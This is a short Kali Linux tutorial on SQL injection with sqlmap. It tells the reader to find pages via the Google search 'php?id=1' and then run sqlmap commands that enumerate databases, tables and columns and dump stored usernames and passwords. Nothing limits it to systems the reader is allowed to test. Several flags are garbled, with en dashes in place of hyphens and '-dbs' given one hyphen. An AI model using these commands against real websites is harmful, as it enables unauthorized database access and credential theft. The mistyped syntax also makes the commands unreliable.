Kali Linux - SQL injection with sqlmap

   Sqlmap

 

Check php?id=1 on google

Copy website url

To check databases:

# sqlmap –u  http://url  -dbs

To check tables in selected database:

# sqlmap –u http://url –D <dbname> --tables

To check coloums in selected tables:

# sqlmap –u http://url –D <dbname> -T <tablename> --columns

To check username and password inside colums

# sqlmap –u http://url –D <dbname> -T <tablename> -C username –dump

# sqlmap –u http://url –D <dbname> -T <tablename> -C password –dump

https://www.youtube.com/watch?v=dGLM_xjZZms